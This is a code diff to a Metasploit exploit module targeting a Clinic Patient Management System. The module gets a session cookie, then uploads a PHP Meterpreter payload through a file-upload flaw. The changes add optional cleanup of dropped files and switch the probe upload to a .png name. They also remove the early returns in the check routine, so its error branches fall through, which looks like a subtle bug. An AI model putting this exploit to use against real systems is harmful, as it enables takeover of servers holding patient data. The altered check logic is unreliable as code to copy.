@@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote
77 Rank = ExcellentRanking
88 include Msf ::Exploit ::Remote ::HttpClient
99 include Msf ::Exploit ::PhpEXE
10+ include Msf ::Exploit ::FileDropper
1011
1112 def initialize ( info = { } )
1213 super (
@@ -47,7 +48,8 @@ def initialize(info = {})
4748
4849 register_options ( [
4950 OptString . new ( 'TARGETURI' , [ true , 'Base path to the Clinic Patient Management System' , '/pms' ] ) ,
50- OptInt . new ( 'LISTING_DELAY' , [ true , 'Time to wait before retrieving directory listing (seconds)' , 2 ] )
51+ OptInt . new ( 'LISTING_DELAY' , [ true , 'Time to wait before retrieving directory listing (seconds)' , 2 ] ) ,
52+ OptBool . new ( 'DELETE_FILES' , [ true , 'Delete uploaded files after exploitation' , false ] )
5153 ] )
5254 end
5355
@@ -63,20 +65,20 @@ def check
6365
6466 unless res_session && res_session . code == 302 && res_session . get_cookies
6567 print_error ( 'Server connect error. Couldn\'t connect or get necessary information - try to check your options.' )
66- return CheckCode ::Unknown
68+ CheckCode ::Unknown
6769 end
6870
6971 phpsessid = res_session . get_cookies . match ( /PHPSESSID=([^;]+)/ )
7072 if phpsessid . nil?
7173 print_error ( 'Failed to retrieve PHPSESSID. Target may not be vulnerable.' )
72- return CheckCode ::Unknown
74+ CheckCode ::Unknown
7375 else
7476 phpsessid = phpsessid [ 1 ]
7577 vprint_good ( "Obtained PHPSESSID: #{ phpsessid } " )
7678 end
7779
7880 # Step 2: Attempt File Upload
79- dummy_filename = "#{ Rex ::Text . rand_text_alphanumeric ( 8 ) } .txt "
81+ dummy_filename = "#{ Rex ::Text . rand_text_alphanumeric ( 8 ) } .png "
8082 dummy_content = Rex ::Text . rand_text_alphanumeric ( 20 )
8183 dummy_name = Rex ::Text . rand_text_alphanumeric ( 6 )
8284 post_data = Rex ::MIME ::Message . new
@@ -190,8 +192,7 @@ def upload_shell
190192 # Step 5: Upload the payload
191193 random_user = Rex ::Text . rand_text_alphanumeric ( 8 )
192194 random_password = Rex ::Text . rand_text_alphanumeric ( 12 )
193- payload_basename = Rex ::Text . rand_text_alphanumeric ( 8 ) . to_s
194- payload_filename = "#{ payload_basename } .php"
195+ payload_filename = "#{ Rex ::Text . rand_text_alphanumeric ( 8 ) } .php"
195196 print_status ( "Uploading PHP Meterpreter payload as #{ payload_filename } ..." )
196197
197198 post_data = Rex ::MIME ::Message . new
@@ -210,6 +211,7 @@ def upload_shell
210211
211212 fail_with ( Failure ::UnexpectedReply , 'Failed to upload PHP payload' ) unless res && res . code == 302
212213 print_good ( 'Payload uploaded successfully!' )
214+ register_file_for_cleanup ( actual_detection_filename , payload_filename ) if datastore [ 'DELETE_FILES' ]
213215 payload_filename
214216 end
215217
0 commit comments